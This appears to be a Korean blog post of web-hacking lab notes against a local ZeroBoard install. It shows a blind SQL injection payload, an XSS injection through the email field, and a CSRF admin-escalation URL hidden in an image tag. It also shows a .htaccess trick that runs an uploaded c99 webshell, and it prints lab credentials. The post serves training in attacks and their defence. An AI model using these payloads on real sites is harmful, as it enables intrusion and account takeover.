/etc/httpd/conf/httpd.conf

 

아파치 설정

/etc/php.ini

was단의 설정이 필요하다면 해당하는 php.ini파일을 열어서 설정하면 된다.


mysql 사용

 

 

 

XSS :
서버의 플랫폼은 상관 없다.
웹브라우저에 따라 실행여부가 다르다.
 
CSRF :
서버의 플랫폼은 상관 없다.(http프로토콜을 사용하기 때문)
 
SQL Injection:
SQL서버에서 실행되기 때문에 플랫폼에 따라 공격패턴이 달라진다.
 
MS-SQL vs Mysql
차이점 : 문맥
 
 
 
7' and database()=1 and '1'='1
mysql에서는 형변환 에러 자체가 존재 하지 않는다

에러가 나지 않는 것을 확인 즉 , "aircon" = 1 비교하게 되는 것 0 = 1 이 되어버림


0일 경우 0 = 0 이 되어버림(참)

blind sql injection으로 데이터베이스 명을 추측해보자
 
pt69' and substring(database(),1,1)='n'#
이와 같은 방법으로 한글자씩 찾아 낼 수 있다.
참일 경우 로그인이 되고 거짓일 경우 팝업창이 뜬다.
database 이름은 “aircon” 이기 때문에 아래처럼 결과가 뜬다.
참일 경우

로그인이 된다.

거짓일 경우

이런식으로 데이터베이스 명을 확인할 수 있다.


방어
magic_quotes_gpc

/etc/php.ini 397 magic_quotes_gpc = Off “,‘,\,(null)을 차단

397 magic_quotes_gpc = On off->on 으로 바꿈
이것은 방어용으로 설정된 것이 아니라 제목,내용과 같은 곳에 이스케이핑을 해주기 위한 용도로 만들어 진 것임 절대 방어용으로 만들어 진 것이 아님


ZERO board에서 실습
http://192.168.24.133/zb41pl6/admin.php
id:xcurelab
pw:lab

 


CMS
-zeroboard(회원가입,로그인,게시판,회원관리) -> XE
-wordpress
-gnuboard
종류가 상당히 많음
 
 
새그룹추가

자료실 기능 사용, html->부분허용



정보수정을 이용한 xss공격

<input type=text name=email size=40 maxlength=255
value="pt69@test.com"><script>alert("xss");</script>

 

 

<input type=text name=email size=40 maxlength=255
value="pt69@test.com"><script>alert("xss");</script>
<input type="hidden" style=border-color:#d8b3b3 class=input>
 
pt69@test.com"><script>alert("xss");</script><input type="hidden"

 

 

GET방식으로 불가능하다


하지만 CSRF가 가능하다
 
회원정보 수정트래픽 분석
게시판에 게시글 작성
(관리자의 권한)게시글 읽기
(일반 사용자)권한 변경
    
CSRF 공격
http://192.168.24.133/zb41pl6/admin_setup.php?exec=view_member&group_no=3
이곳에서 pt69계정에 대한 최고관리자 권한으로 정보수정을 통해 파로스로 수정 트래픽을 분석한다.


파로스로 트래픽을 분석한다


http://192.168.24.133/zb41pl6/admin_setup.php?
exec=view_member
exec2=modify_member_ok
group_no=3
member_no=3
page=1
page_num=10
keykind=
keywork=
like=
password=
password1=
is_admin=1
level=9
name=pt69
board_name=
email=pt69@test.com
homepage=
icq=
mailing=1
openinfo=1
comment=
maxdirsize=100
 
 
 
http://192.168.24.133/zb41pl6/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=3&member_no=3&page=1&page_num=10&keykind=&keywork=&like=&password=&password1=&is_admin=1&level=9&name=pt69&board_name=&email=pt69@test.com&homepage=&icq=&mailing=1&openinfo=1&comment=&maxdirsize=100
 
이미지 태그로 넣으면 된다.

pt69계정으로 이미지 태그를 이용하여 글을 올린다.


관리자로 접속하여 pt69가 작성한 게시글을 클릭하면 위와 같이 pt69계정이 관리자로 변한 것을 알 수 있다.


Webshell 업로드


Webshell이 업로드가 되지 않는다.


http설정 파일
httpd.conf
.htaccess : http://www.linchpinsoft.com/htaccess-%EC%84%A4%EC%A0%95%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%98%EC%97%AC-%ED%8A%B9%EC%A0%95-%ED%8F%B4%EB%8D%94-%EC%A0%91%EA%B7%BC-%EC%A0%9C%ED%95%9C%ED%95%98%EA%B8%B0/ 참조
 
httpd.conf : 전역 설정파일
.htaccess : 지역 설정(디렉토리)
 
 
.htaccess 를 이용하여 공격
 
/etc/httpd/conf.d/php.conf

 

파일형식 모든 문서로 변경후 저장




.htaccess파일을 업로드 하면 업로드한 디렉토리는 .htaccess의 설정을 따른다.
.txt파일도 읽을 수 있도록 설정되어 있기 때문에 업로드 경로로 txt파일형태로 파일을 올려도
해당 경로에 접근하면 브라우저로 띄울 수 있다.

/var/www/html/zb41pl6/data/pt69/c99chell.txt가위치함 웹루트가
http://192.168.24.133/zb41pl6/ 이기 때문에
 
http://192.168.24.133/zb41pl6/data/pt69/c99chell.txt
로 접근하면 된다.


 

웹쉘이 정상적으로 작동하는 것을 확인 할 수 있다.
 

'정보보안 > Web' 카테고리의 다른 글

Include 취약점  (736) 2020.07.22
Upload 취약점, Webshell  (516) 2020.07.15
Directory Listing  (743) 2020.07.15
Mass SQL Injection  (728) 2020.07.15
Stored Procesure,CMD shell  (735) 2020.07.15

+ Recent posts